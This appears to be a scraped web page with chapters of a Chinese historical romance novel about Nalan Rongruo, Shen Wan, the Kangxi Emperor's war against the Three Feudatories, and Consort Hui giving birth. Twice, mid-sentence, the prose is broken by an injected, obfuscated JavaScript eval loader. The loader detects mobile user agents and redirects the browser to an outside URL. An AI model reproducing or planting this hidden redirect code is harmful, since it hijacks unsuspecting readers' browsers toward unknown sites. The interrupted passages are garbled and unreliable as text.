“来人,给本官好好看着二公子!”索额图叫来几个下人,又对格尔芬警示道,“以后有的是机会给你建功立业……” * 密林深处,沈宛和师傅宋应星对弈于中庭。 “观棋不语知天下。”宋应星放下手中黑子,“康熙皇帝打吴三桂,战术有错在二:清军不敢过长江、清军挂帅之人难负重任。故而这一初阵,清军必败。” “师父的人,还探到别的情报没有?像是朱三太子……” “皇上不会管朱三太子的真假,只会在将其抓获之后杀无赦。这样一样,就相当于是让部分心怀‘反清复明’的信仰之人,失去了心中的支柱一般,能够极大地瓦解前明王朝暗处的不安分势力。” “师父,朱三太子熟悉皇宫环境,万一他里应外合想要刺杀康熙皇帝怎么办?有没有可能得逞?” “这就难说了,怕是在当下的环境当中,康熙皇帝对自己身边的内侍、近臣、嫔妃……也难辨忠奸善恶,多疑必招祸,不疑必送命,唯有保持清醒,才能不被自己的心魔所左右。” 沈宛小蹙眉,“皇宫戒备森严,康熙皇帝就算是要排查‘朱三太子’安插的细作,也要耗费不少时间吧?还来得及吗?” “御婵,你想错了。”宋应星纠正道,“这不是时间的问题,而是一个帝王所面对的——关于人性和智慧的考验。康熙皇帝不但要治国、更要顾家啊!” 沈宛想到: 纳兰公子定是不会置康熙皇帝于不顾,不管是军政大事还是关乎皇上个人安危的内宫之患,他都会心甘情愿地陪伴康熙皇帝一并度过。 作为陪臣,为康熙皇帝出谋划策,是尽臣子的本分;作为同龄之友,为兄弟义气两肋插刀是义不容辞;作为天子足下的奴才,不计代价为天子尽忠,是背负和履行责任。 只是……公子你可知道,于时局于私人,于大义于感情,你的宛卿都在担心你、挂念你,她只想你安然无恙。 “师傅,换做以前,我一定会什么都不顾地潜入皇宫去看看。”沈宛情绪略伤略平,“可是现在,我却似水静流,不想以身涉险去刺探自己想知道的情报。” “就好像……生活在皇宫里面的天子和天子身边的近臣,都跟我无关一样。” 瞧见宋应星脸上“本就无关”的表情,沈宛的脸上浮出一丝难言的苦笑。 她喃喃道:“改朝换代之事,我经历过,还怕什么江山易主?战乱流离,我早已不知道爹娘是谁,还怕什么骨肉分离?只要是自己还活着、师傅你还活着、自己所在乎之人还活着……就好。” “御婵,你心中是不是装着一个想去见的人?”宋应星的态度格外开明,“世道动荡,易分难聚,你要是想着他,就去见他吧!” 【注1】题长法和截搭题,含义和样题,见第79章。 82.第82章 沈宛照着宋应星的提议,夜间潜入明府去见容若的时候,一如预想:公子不在。 唯见公子的贴身侍女袖云坐在灯下,伴随着数枚好看的枫叶,在整理公子的《渌水亭杂识》初稿。 沈宛悄悄摘了一朵白玉兰之后离开。 月光下,她坐在一处溪流边,拿出容若给她的数粒菩提子来,跟白玉兰放到一起。 容若曾说: “玉兰花冰清皎洁,就跟是无穷奥妙的菩提智慧一样,懂者自懂,痴者自痴。最好是坐在水边看,我这一生离不开水,所以渌水亭畔引设渌水池。” “大抵是因为我爱花,故而我相信‘有水湛然,芳菲不败’的道理:花开需清露,花折逐流水;哪怕是花落,也是经由风吹雨打去,沾衣自喜,沾地自惜。” 想象着公子当时的模样,沈宛觉得: 可用“出神入化”和“遗世独立”四个字来形容。 公子日常拈花在手,心底留香,便是自得了一份雅致与安然。 公子不媚世不落俗,冰清玉润,生如素花,绽放在每一个真正珍惜他的人心中。 若说男子的人生三大喜事是:金榜题名时、洞房花烛夜和他乡遇故知。 那么作为女子,沈宛觉得女子这一生的三大喜事是:红妆被惜时、与君共遥夜、白头共偕老。 就这么想着,就这么代入着,沈宛不禁微笑起来。 ——掌心之中,玉兰花香忆初见,菩提子连寄相思。 ——倒影之上,月圆谁追清晖眠?故人心在不曾变。 * 秋去冬来,皇宫内外一片瑟瑟。 玄烨像一座雕塑似的坐在书房里,等待前线战报。 他的身后,站着纳兰和曹寅,此二人也是默默不语,严阵以待。 一见有一等侍卫领着传送战报的“传卒”进来,玄烨就急不可耐地问:“情况如何?全部如实回禀,一个字不许隐瞒、谎报!” “启禀皇上,吴三桂之子吴应熊逃走,我军晚到一步没有将其捉拿,事后虽多方追缉,但仍旧无法寻觅其踪影。我军实在是不知那吴应熊是被老贼吴三桂所窝藏,还是他自己早就谋划好了线路出逃啊!” 玄烨的额头上青筋毕露,在他看来,捉拿吴应熊本应是件小事,岂料却连这样的小事都不尽顺意,简直是有扫清军军威。 气归气,恨归恨,玄烨还是压着怒火道:“朕就怕吴应熊逃到台岛去搬郑氏势力为援军,一旦吴郑两军相汇、集中火力对抗朝廷,你知道是什么后果吗?” “回皇上,奴才正要奏明:施琅大人的福建水师,已经在沿海排兵布阵,一面与靖南王耿精忠的兵力对峙,另一面严格把守海禁,不许一个人、一只鸟渡海往台。” 玄烨回头问纳兰:“你说,仅凭施琅一方面的兵力,抵挡得住藩王势力吗?” 纳兰思忖道:“必要时,皇上应下‘江浙水师调船应援’的命令。” 玄烨追问:“朕何时下令为佳?” 纳兰谨慎道:“臣听闻,平南王尚可喜曾参军明王朝的水师,懂得指挥战舰作战的要领。所以一旦尚可喜的岭南水师北上的苗头露出,皇上就应该派出江浙水师前往福建助施琅大人一臂之力。” “好,朕会叫人多加留意。” “不皇上,光是留意还不够。需要派人去向江浙水师传达‘国难当头,朕与诸将士生死与共’之圣意。” “那不是变成对江浙水师施压了吗?要是江浙水师因此被逼反——”玄烨对纳兰一怒目,“你就是平藩路上的第一个该死的罪人!” “皇上想哪去了?”纳兰没有被玄烨的反应吓到,反是谦谦道,“正军纪需要天子的泱泱天威,立军命需要天子的刚直态度,行军令需要天子的明确意图。皇上要是不对江浙水师表明‘不容置否’的决心和魄力,如何能叫每一个大将、每一位兵卒舍生忘死地效忠于我大清?” “纳兰,传递朕的圣意的文书,就全部交由你来书写。等到朕阅过和盖玺,就叫人送往江浙。” “是,臣遵命。” * 玄烨忽然看见传卒的额头上沁出了冷汗。 “何事至此?接下来的军情还能坏到哪里去?” “回皇上,”传卒颤声道,“吴三桂用兵以勇,我大清……云南片区连着黔贵片区尽失,呈现出‘大周皇帝南统半天下’之势!” 玄烨“哼”了一声,再问:“还有呢?继续报。” “靖南王耿精忠,拥兵自重,口不择言,不满皇上之语多出,甚至……还私备数十座红衣大炮直面朝廷,反逆之心昭然若揭。” 玄烨站了起来,仰天悔恨道:“朕有罪,朕失策。” ——如此境地,清军作战不力,一败再败,一退再退,大半江山将失,叫朕有何脸面面对列祖列宗、面对太皇太后? ——高估自己,满腔热血变成一肚悲恨,苦的是卷入其中的黎明百姓,累的是不辞劳苦的股肱之臣,牺牲的是数不清的魂胆赤士,朕这个皇帝,当的实在是不成器! 玄烨一叹:“纳兰,曹寅,对天下对祖宗对自己,朕有愧啊!” 两位侧臣相顾无言,南方片区的国土沦陷至此,敌方似卷风一般横扫至此,也是他俩所没能想到的。 * 玄烨定了定神,问:“朱国治殉国了,那原吴三桂的手下王辅臣呢?是否愿意归顺我大清,向吴三桂倒戈?” 传卒没敢直视康熙皇帝,只垂首道:“回皇上,王辅臣摇摆不定,他对皇上您的旨意视若无睹,只想着:鹬蚌相争,渔翁得利。” 玄烨失去重心一般跌坐在宝座上。 真是事事不顺,难道这就是上天要给自己这个年轻天子的历练?虽说不是一败涂地,但也锐挫大志,不禁怀疑起自己的能力来。 “你下去吧!”玄烨朝传卒扬了扬手。 “小兵请皇上示下,当如何带话回到营中?” “朕也不知道该说什么好。”玄烨陷入沮丧,“姑且就交给上天来安排吧!” “皇上!”传卒重重地叫了一声,“奴才斗胆:军国大事您不可由着情绪来,小兵深知,驻扎营帐和奋战前线的众人,都在盼着皇上您拿主意啊!” 玄烨有心无力地推脱道:“纳兰你说——” “臣以为,当下应该以笼络吴三桂的部下为突破口,才能瓦解吴三桂的‘大周旗帜’。吴三桂一方面高喊‘反清复明’的口号,另一方面又堂堂以‘大周皇帝’自称,岂非自相矛盾?他手下干将,多半是前明王朝之人,拥护旧国而不认新周王朝,宁可立身份存疑的‘朱三太子’为新帝,也不肯认吴三桂为大周天子,这就是一个极好的突破口。” “只需对王辅臣等人:晓之以理、行之以赏,而不是谈什么家国情怀和为人骨气,臣相信他们一定愿意向着大清,为皇上所用。” “你说的轻松。”玄烨不信,“上梁不正下梁歪,吴三桂自身就是个反复无常的小人,投清叛明,反清复明,他手下的大将也是如此,性情摇摆,归主之心难定。谁人眼睛里看到的不是一个‘利’字?” “王辅臣等人要‘利’,咱们就给。”纳兰透彻道,“许之给之后续处之,最后还是皇上说了算,为何不在关键时刻赌一把?” “赌?”玄烨眉头紧锁,“眼前谁能去前线当说客?谁敢去?” 曹寅站了出来,毅然决然道:“臣敢!” 玄烨和纳兰不约而惊:“你——?!” “是。”曹寅单膝跪地,只待康熙皇帝点头。 “臣自身愿意领这份差事。臣的性格天生乐观,嘴皮子不输人,鬼点子不逊人,是到了为皇上出力、为大清做贡献之际了。” “你跟纳兰,文武双全,都是太皇太后亲自挑给朕的陪臣!”玄烨就事论事,“你主动请缨勇气可嘉,只怕是太皇太后不会答应。” “臣愿意在皇上请示太皇太后之前出发。” “你一个人南下?” 曹寅坚定道:“臣没有未婚妻,家人们都住在江南,情事和家事都没有后顾之忧,所以一身朗然,自愿当个风尘仆仆的说客。” “好!”玄烨被曹寅的胆识和勇气一震,“朕准了!纳兰,你即刻按照朕的意思拟两份圣旨,朕要让曹寅带着一道命令、一道保命符南下执行要务……” 纳兰就在玄烨身边,提笔蘸墨。 “臣准备好了,皇上请示说旨意——” * 当日深夜,曹寅就大义凛然地孤身南下而去。 三日后的清晨,康熙皇帝在太和殿早朝,众文武各怀心思,所想存异。 那些大人们,丝毫不见坚毅与镇泰,反倒是个个将“忧心忡忡”与“惴惴不安”之态挂在脸上,就跟大清江山要断送在这位年轻天子手里一样。 明珠和索额图左右而站。 陈廷敬,李光地,高士奇等人,见风使舵,伺“天子之意”和“所依附的派阀主张”而动。 群臣礼毕,玄烨感慨道:“众臣工,你们的态度真叫真朕心寒啊!” “朕提出作战主张的时候,你们个个不敢多言,等到局面到了今时今日的地步,你们却满口大道理地来给朕上折子。朕失去的何止是云贵地区的大片国土,更是你们的忠心!” 朝堂上陷入了一片沉默。 事后进言,于事无补,道理满朝文武都懂。 只是出于不给皇上留下“逃避责任”和“置身事外”的印象,大家才纷纷上奏,满纸空谈“忠君爱国”和“国贼当诛”之说,全然不计适得其反的后果。 明珠大声道:“臣誓死效忠皇上!皇上有用得到臣的地方,尽管下令下旨,臣万死不辞。” “你能给朕处理好内阁事务,稳定朝中人心,已算是立下功劳。战事连连,烽火难消,明珠你为了纳兰氏一族的荣辱,而赌上自己的赴死抗敌之心,没必要。” 见皇上心明如镜,明珠应道:“臣以为,当下之计,莫过于是守住长江以北,千方百计拦截吴三桂大军长驱直入。我清军虽在战斗力上呈现弱势,但所幸军心坚韧,士气不摇,一旦抓住敌军内部自相残杀之契机,可以一击而破!” 李光地道:“明珠大人此言差矣,要想敌军内部操戈,得送一个懂得‘挑拨离间’的人到敌营内去生是非,试问:贵公子话术珠玑,能担此大任吗?” 明珠冷眼道:“夺取天下,靠的是天命和实力。吴三桂并非人心所向而是人心所畏,所以怕死的将帅和兵卒们才对清军杀红了眼。如此,李大人还认为敌营之中不存在内部矛盾吗?还认为需要细作去点燃导火索吗?” “明珠大人是铁定了心走‘攻打’之策,丝毫不给将士们喘息的机会。下官却认为,三藩当谈和,和为贵本就是最佳的化敌之计。” “李光地,你目中无君!”明珠怒斥一声,“天无二日,皇上只有康熙皇帝一人,□□只有大清一朝,岂能容周帝吴三桂乘了和谈的东风,大灭我大清国威?” 索额图陈论道:“皇上,实在打不下去也守不住基业了的话,就跟吴三桂平分天下而治吧!” 玄烨气的从龙椅上一跃而起,指着那人怒不可遏道:“索额图,你想让朕做一个偏安一隅的丧权辱国之君,好大的胆子!” 明珠亦是对着自己的政敌破口大骂: “索大人,你是把你阿玛索尼的临终嘱托全都忘在脑后了呀!你既没有忠心辅佐皇上,也没有在国难当头之时挺身而出,只会当缩头乌龟,潦误君心,覆灭君志,真是该死!” 索额图却昂首挺胸地道出了一番道理来:“启禀皇上,再这么下去,大清的国库耗不住了!您的百姓们也熬不下去了!” 就在明索两党意见对峙之际,有侍卫十万火急来报: “启禀皇上,南疆有兵马驱向朝廷而来,经由刺探,他等不是来解皇上的燃眉之急,而是来逼宫的啊!” 玄烨深深地吸了一口气,又仰首一吐而出。 ——皇宫的危机时刻,终于到来了。 ——不见勤王者,却逢大叛军,天理何在! “集中朝廷可用之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13946811|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵,叫众将士齐心协力以对。” 玄烨坐回龙椅上,右手紧贴着扶手,神情生恨。 “朕无奈啊,不能下令回调平藩的兵马,否则被吴三桂、朱三太子、南明余党……觉察出紫禁城岌岌可危的苗头来,就是雪上加霜。” “传朕命令,”玄烨对侍卫道,“即刻调遣侍卫营精干兵力,全力保卫朝殿与后宫安危;令散秩大臣协领侍卫内大臣工作,严守皇宫大门;令九门提督行禁军统领之责,掌控京师武力,抗衡南疆兵马。” “是!”侍卫领旨而退。 * 曹寅南下到达汉中,在营中见到抚远大将军图海和谋士周培公。 顾不上接风洗尘,曹寅便与那二人商议招抚王辅臣之计。 数日之后,三人终于得出了行动要领: 动摇王辅臣军营当中的人心,烧粮草、断水供、截传书,待王辅臣陷入孤境之时,再向其传达康熙皇帝“只要王军门将功补过,朕就既往不咎”之意。 不久,王辅臣率领八万精兵,弃汉中而奔赴平凉。 其大破兰州,占城为王,陕甘之地岌岌可危。 豫亲王多铎之子董额领康熙皇帝军令,前往镇压王辅臣之乱无果,退兵回京师领罪。康熙皇帝大怒,将其革职贬为庶人,家眷等均逐出王府,王府充公,所搜钱款和古董,悉数补入国库折抵军费。 曹寅随图海和周培公去往平凉途中,听到董额自裁身亡的消息,大惊。 “图海将军,周军师,以董额为鉴,我等三人都是悬着脑袋在为皇上办事呐,不成功便成仁,只能步步走准,才能不落得一个惨局。” 图海将军道:“曹侍卫,兰州百姓无辜,城中生灵不计其数,无一不是□□的百姓,他们受到反贼迫害、身陷苦海已久,我等不可再开杀戮。” “不错。”曹寅明理道,“对老百姓,需要的是好好说情理,叫他们主动出城降清。对王辅臣及其手下精兵,可用围城死耗之计,硬攻必败。” “周某立刻去打点安排一切。”周培公行动有数,“先去给占据城北山墩的清军主帅胡清炎报信,让他居高临下摆出炮阵,对贼军呈轰炸之势;等到百姓们都出逃的差不多以后,再烧贼军粮草和断贼军水供,死死围困城池,看弹尽粮绝的贼军还敢如何作虎作威!” “有劳图海将军和周先生。”曹寅客气道,“到时我必将孤身入城,与王辅臣谈判,说动其顺从我大清,反向攻打吴三桂。” “曹侍卫凡事小心。” “你俩亦是。” 接下来,三人便分头行动,不缺默契与配合,一点一点地将王辅臣逼入绝境。 一切如计展开。 一个半月之后,王辅臣和兵卒们深困孤城之中,已经杀尽和吃尽马匹,再无饱腹之食和蔽体之衣可以应对寒冬。加之与外界断联已久,不知世道天日如何,孤城之内的精兵们更是人人精神恍惚,再无从前斗志。 王辅臣见:百姓尽走,投靠清军;兵卒尽悴,翻身无望。便恨恨地登上了城楼的最高处,目断天涯处,竟是清军主帅胡清炎的十二座红衣大炮,蓄势待发,随时可以把这个古城炸毁。 “呜呼!” 王辅臣连连后退,勇猛如他,何时有过生畏之心? 叹如今虎落平阳,生不如犬,出城是死守城也是死,真叫一个:天意亡我! 曹寅便是在王辅臣心态崩溃之时,带着康熙皇帝的圣旨进城与其会见的。 城楼之上,寒风阵阵。谁唱苍凉悲怨之无声哀曲? 雁群飞过,声声哀绝。已是不知人间有此种恨人。 “可惜啊,可惜……” 曹寅对王辅臣遗憾道:“王军门你明明:南可杀向云贵,东可直捣京师,却偏偏到了平凉这块土地,以陕甘才是自己最好的落脚点,结果败得此下场。” 王辅臣本着最后的傲骨道:“本军门如何行动,还请示过谁来不成?” 曹寅摇头道:“王军门,自负的心态可是会害死人的!你失策失算:总想着等到康熙皇帝和吴三桂打的两败俱伤以后,再寻那没有定数的渔翁之利,殊不知自己才是这场战争之中的突破口。” 王辅臣脸色骤变:“你这话是什么意思?” 曹寅一甩辫子,挺胸道: “你是吴三桂手下最得力的大将,已经偏离了他的计划——不驻守汉中而去往平凉称王,妄图一统陕甘,成为第四藩王,这就已经铸成大错。我朝康熙皇帝英明,念你尚有用武之地,若是愿意归顺清廷,重整兵马,南下长江攻打吴三桂,那必定是重重有赏,想要什么,皇上就能赐你什么。” 王辅臣不满:“你在跟我谈交易?” 曹寅不屈:“我的确是代表康熙皇帝、携带圣旨而来,劝你快识时务!” “你朝皇帝该不会是利用本军门败退吴三桂的人马之后,就反过来将本军门捉拿处死吧?” “我朝皇帝是言而有信之君。”曹寅把圣旨放到王辅臣手中,“有此为证,王军门你还有何顾虑?” “好!本军门就姑且信你和康熙这一回!” 王辅臣看过有大清皇帝的玉玺的圣旨过后,重重一点头。 曹寅伸手做请:“那还请王军门速速下城楼,将我朝皇帝的圣意和自己的决心告知众将士。我方也好及时将粮草、水供、寒衣、马匹输送到此,供王军门调配和使用。” 王辅臣仰起头,紧闭双眼,高举双手,张着嘴巴,却无法从咽喉之中呐喊出一个字和一句话来。 他满腔的耻辱、不甘、不得已,都化作了对清王朝和康熙皇帝的臣服。 他积存的盛气、志向、大伟业,如同黄粱一梦,化作千言万语难述之罪恨。 曹寅望着眼前人的模样,不做催促也不做奚落,只将一份“时运无常,天命难料”的真切之感埋在心中,深知何为: 大将之弃暗投明,心有所苦,肺腑如煎。 大将之舍志从命,如锤在胸,痛定思痛。 大将之另赴大任,为天下议,自身何辩! 83.第83章 时值腊月中旬,空中已经飘起雪花。 延禧宫内,惠嫔娘娘待产,却除了贴身宫女远黛之外,无人多少伺候之人。 “远黛,皇后那边不能惊动,皇上那头也打扰不得,你拿着我的玉镯子去内务府找张全保张公公,让他想方设法出宫去……去明府找伯母,我只想见伯母一面。” 惠嫔挺着大肚子,满头冷汗,身体非常虚弱。 远黛把玉镯子紧紧拿在手中,询问道:“纳兰公子在皇上身边值勤公务,奴才把娘娘的玉镯子交给张公公后,就悄悄去叫公子过来看娘娘可好?” “不可,后宫严禁男子无理由进入,一经发现就是死罪!我不能害了表兄。” “可是娘娘身边不能没有靠得住的人呀!” “别说了,不能让表兄知道我临盆,不然他前来关心我是死罪,乱了皇上的平藩心绪我也是死罪。能把伯母请到宫里来,我就放心了。” “娘娘,您一定要坚持住!” 远黛真切地说完,用手绢擦了擦惠嫔额头上不减的汗珠,才离开主子去办事。 惠嫔腹中连连阵痛,烧心扼喉,似乎连呼吸都变得困难了。 眼前的烛火,一片朦胧;摧窗的冷风,声声乱神。 她歪头躺在长榻上,模糊中好似回到了过去: 那些跟表兄在一起的难忘时光,此生有无机会再走一回?曾经在庙中对神佛许下的海誓山盟,错付在了康熙皇帝身上的深情,此生是否再难对表兄相倾? “容若,容若……” 惠嫔意识不清地呢喃着表兄的名字。 她害怕自己生产有难,从此与表兄天人永隔。所以她才要抓住这最后的机会,在冷清的宫中思恋和呼唤自己的意中人,如此便可不遗憾、如此便可安心去。 一滴清泪顺着汗珠一起从惠嫔的眼角滑落。 ——无助却不喊闹,害怕却不乱阵脚,空寂却不怕往登大乘之境。 ——诸福报唯自求,多念想还求回响,牵挂难舍情缘难分诺非错。 这是纳兰氏的女子该具备的觉悟。 是伯父明珠所希望的:女子之路,赢在自知赌在长远,不可自伤不可回头;也是表兄容若曾教导的:危难唯自持可解。 * 张全保张公公好不容易出了宫,一路打马狂奔至明府。 明府的看门壮丁问:“来者何人?来此处何事?” 张公公跳下马,急匆匆到:“快拿着惠嫔娘娘的玉镯子去禀告明珠大人和觉罗夫人,就说:惠嫔娘娘快生产了,情况危急,身边不可少了照顾之人。” 看门壮丁一惊,没想到是这等大事。他哪里敢犹豫?马上就奔进了府内,将事情对老爷和夫人如实相告。 明珠和夫人闻讯,立刻更了衣,并叫管家备好马车,决定连夜进宫去陪伴惠嫔娘娘。 明府的大门口,一看见张公公,明珠就问:“有劳公公来这一趟,惠嫔娘娘情况如何?延禧宫上下如何?” 张全保道:“皇上全副心思扑在平藩战事上,实在是没有余力顾及后宫的各位主子们,所以奴才从远黛姑娘口中听得消息后,方冒死出宫,前来告知明珠大人和夫人。” “皇后娘娘呢?”觉罗氏问,“嫔妃生产,她不应是前去延禧宫坐镇守安吗?” 张全保摇头,“皇后娘娘连日操劳后宫事务,体劳神伤,又感染了风寒,卧病不起。” 觉罗氏满心不安,再问:“老祖宗呢?苏嬷嬷呢?” 张全保回话道:“太皇太后和苏嬷嬷都围绕着皇上转、给皇上做后盾呢,也实在是无暇顾及惠嫔娘娘啊!” 觉罗氏忽然想起一件往事,对明珠道:“老爷,咱们儿子找西医拿洋方之事,曾搞得整个太医院不安宁,妾身只怕惠儿也会因此遭遇御医们的懈怠与刁难,就想着:带着包衣嬷嬷和接生嬷嬷一起去延禧宫才好!老爷的意思呢?” “还是夫人考虑的周全。”明珠连连点头,对管家道,“再备车马,把跟纳兰家交情深、经验丰富的嬷嬷们都叫来,跟她们说清楚情况以后,叫她们随后一同去往皇宫就是。” 张全保道:“奴才先行告退。“ 觉罗氏交代道:“张公公,烦请你从内务府中拿一些嫔妃生产时用的到的东西到延禧宫去。” “奴才记下了,回宫后立刻去办!” * 远黛找到了在养心殿外候命的梁九功。 “梁公公,我是惠嫔娘娘身边的宫女远黛,娘娘今夜就要生产了,延禧宫人手不足,太医院不见有稳妥的御医当值,不知能否请公公将这一情况寻机会告知纳兰公子?” “姑娘,你说的惠嫔娘娘的难处,奴才都明白,当下南疆兵马逼宫在即,皇上精简了后宫的人手也是有的,只是这会儿纳兰公子正在皇上身边陪着,怕是走不开啊!” “远黛不敢扰乱君心,只是瞧着惠嫔娘娘状态堪危,才想着有必要叫纳兰公子知道。” “姑娘你先回去伺候着惠嫔娘娘,纳兰公子那边,奴才会找机会去说。” “好,多谢梁公公” 梁九功趁着送茶水的功夫,暗示纳兰公子到殿外说话。 听罢惠嫔娘娘和延禧宫的情况,纳兰心中焦急担心却没有自乱阵脚。 斟酌一阵子后,纳兰终于做出决定:“我现在过去延禧宫探望惠嫔,梁公公你自己好生保住脑袋。” 梁九功道:“万岁爷要是问起公子您的行踪,奴才就说您回府歇着去了。” “这不成。”纳兰推敲道,“惠嫔生产皇嗣是大事,我估计阿玛和额娘已经接到消息、正往皇宫这边来,你要是说我回家,不是自相矛盾吗?” 梁九功做出洗耳恭听的模样:“那奴才应该怎么说?” “梁公公,你就实话实说。” “公子,私会内宫嫔妃罪名不小,皇上真要追究起来,莫说是您要遭受大罪,怕是连赫舍里皇后也要担一个‘管束嫔妃不严’之过,您不能在这个节骨眼上给皇上添乱啊……” “你明知道我心里放不下处在生死关头的惠嫔,却又把远黛姑娘带来的消息告诉了我,不是盼着我能顺遂惠嫔的心愿吗?我不怕皇上怪罪,但我希望做为关系者的梁公公你,可以免去皇上的责罚。” “奴才怎么样都好,但请公子多方小心。” “你跟皇上说实话之后,再多加一句:是纳兰自己大胆且不听劝,没把宫规放在眼里,更没把战时情况看重在心上,过后纳兰自己会请罪。” “公子您……何不把一切都藏着、瞒着?” “我发过誓,自己绝不欺骗皇上。无论是君臣关系,还是个人家事。” 纳兰终究还是把“感情”换成了“家事”二字。 * 容若披着半身飘雪进入后宫。 面对侍卫们的阻拦,他只是很恳切地请求道: “放我进去不是你们失职,而是我自己宁可不要这条命也罢。我不是背着皇上偷见嫔妃,梁公公早就将我的行动告知皇上了,后续皇上的处置,都是冲着我来的,与你们无关。” 侍卫们向来敬重纳兰公子的品德,首领侍卫道:“想必公子你敢做此举,也是经过深思熟虑的,不会做出有悖纲常之事,且进去吧!” “多谢成全。”容若回以感激眼神,“日后要是有机会,我一定记着这份恩情、好好偿还。” 容若跟随一个小太监去往延禧宫。 将近目的地,他就听见了惠嫔的吃痛呻吟声,不由得心中紧了一紧。 “公公,我止步于此,劳烦通传惠嫔娘娘身边的宫女远黛。” “公子有心且自知分寸,实属难得,奴才这就去叫远黛。” 容若一见远黛出来,就安慰道:“别慌,惠嫔作为妃子是一定会经历这一关的,这一胎之后,积累了经验就好。” “公子,你来了就好了……”远黛双眸稍肿,“娘娘在这个节骨眼上临盆,谁也不敢打扰,远黛晓得娘娘辛苦。” “我不能进惠嫔的寝宫。”容若看向眼前的宫殿,“但是你告诉她:容若就在她身边,让她再忍一忍,事情很快就会有转机。” “娘娘叫了张全保张公公去明府请觉罗夫人来见,不知为何至今无人来回话,也不知道张公公把差事办的怎么样了。” “额娘定是会来。”容若肯定道,“但是张公公这一去一回也是需要时间啊!这儿有我在,你放心,惠嫔娘娘不会有事的。” “那现在远黛应当做什么?” “虽说我不懂女子生产之事,但是在我看来:首先远黛你得回娘娘身边去陪伴着,像是热水、毯子和剪子之类的东西要备好;然后随时留意着娘娘的情绪,千万别让她睡过去;最后也是最要紧的,就是多给娘娘打气,人在低落的时候最是需要鼓励。” “是,远黛这就进去。公子外头冷,上阶梯到屋檐底下避雪吧!” “我不能坏后宫的规矩和底线,你快进去,不用担心我。” 惠嫔听见“容若公子来看娘娘、且一直在外守候着娘娘”的消息时,心头涌上来一股暖意。 ——果然,在紧张时刻和危难关头,只有表兄在乎我。 ——如此,我定要尽最大努力顺利生产,力争对得住任何人。 “娘娘放心,容若公子不会离开娘娘的、明珠大人和觉罗夫人已经在进宫的路上了,到时候经验丰富的接生嬷嬷来了,一切就顺顺当当了。” 远黛握着惠嫔的手,边细心照料、边细语相伴。 * 见到阿玛和额娘的身影,容若心中如石落地。 “阿玛额娘,辛苦您俩一并进宫顾着惠儿。惠儿现在身边只有远黛在照料,情况怕是艰难,恳请额娘先带接生嬷嬷进去。” 觉罗氏道:“老爷,容若,你们父子都放心,惠儿生孩子这事有我呢,一定一切顺利。我生了三个儿子,最是懂得怎么缓解临盆期的不安,也最是能够有方法叫惠儿一鼓作气地诞下皇嗣。” “夫人你进去吧!”明珠催道,“有什么要帮忙的,就叫远黛出来传话,本官会吩咐下去。” 觉罗氏便带着接生嬷嬷往里走,没一会儿,明珠父子就听见了惠嫔娘娘用力生孩子的喊叫声。 明珠在容若面前徘徊了好一阵子,终于止步道:“儿啊,你为什么来陪惠儿,纯粹的心思啊吗都明白。只怕是皇上那边不好交待。” “儿只是觉得苦了惠儿,在这个时候为康熙皇帝诞下子嗣,却不一定有功劳,甚至因为前方战事吃紧,小阿哥或者小公主的‘洗三’礼,皇上都未必有空主持。再说皇后,她虽为后宫之主,碍于国情也不敢在家事上有所庆贺。” 明珠为了讨好兆头,并不叹气,只道:“容若,惠儿后续的情况,都等她为人母之后再说,关键是你自身。阿玛和额娘进宫,虽未得到皇上许可,可好歹是有家人这重身份,老祖宗那边也能够袒护,叫皇上不必照着规矩处罚。你身为人臣,身在后宫,他人揣测之言必将四起,皇上本就多疑……” 容若抱着自己已经看开了,皇上怎么样都好的心态道: “儿没有冒然前来,皇上听了梁公公的回话,应当对儿的行动心里有数。儿知晓:吴三桂的大军能否渡过长江,事关大清国的气数;南疆兵马能否攻入京师攻入皇宫作乱,事关大清皇权去留,皇上心里别提多烦闷!所以即便皇上要冲儿发泄,儿也不会顶撞和为自己强辩。” “想来我明珠运气真是背!”明珠神色复杂,“偏偏在这个国步维艰时候,迎来了皇嗣的诞生,没法跟索额图比啊。” “阿玛,您看重家族利益无错。”容若真诚道,“但是也请您站在伯父的立场,尽一份对惠儿的关心。” “好,放眼将来。”明珠看向殿内,“但求惠儿诞下的是皇子。” 就这么过了许久。 容若深感着暗夜的寒凉,全心全意盼着惠儿顺产。 终于,婴儿的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954340|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭啼声从殿内传来。 远黛从里面跑出,如释重负一般对明珠和容若贺喜道:“老爷公子,惠嫔娘娘诞下皇子,母子平安。” “那太好了!”容若久违地一笑,“母子平安就好。” “是皇长子,皇长子……”明珠的心里早已打响算盘,“惠儿真是争气啊!” “额娘定是累了,远黛,一会儿你先扶额娘去休息,再好好谢过接生嬷嬷,自己也回房躺睡一会儿吧!惠嫔娘娘现在,可是困睡了?” “回公子,是,娘娘看了小阿哥之后,就先睡下了。” “好,你去吧——” “有劳阿玛去慈宁宫告知太皇太后‘惠嫔娘娘诞下皇子’之事。” “你跟阿玛一起去,父子同在,皇上不会当着老祖宗的面责你罚你。” “儿不走,儿对着神明祈愿过:会有始有终地守护惠儿,直到皇上来看她为止。” “罢了,阿玛改变不了你决定了的事。”明珠走前,叮嘱道,“你的身子经不得久冻,别冷着自己。” “是,谢阿玛关心。” * 清晨,赫舍里皇后听闻惠嫔诞下皇长子的喜讯,不顾病体起身,前往延禧宫相贺。 见纳兰站在延禧宫正殿外头,赫舍里皇后不疑不气,只道: 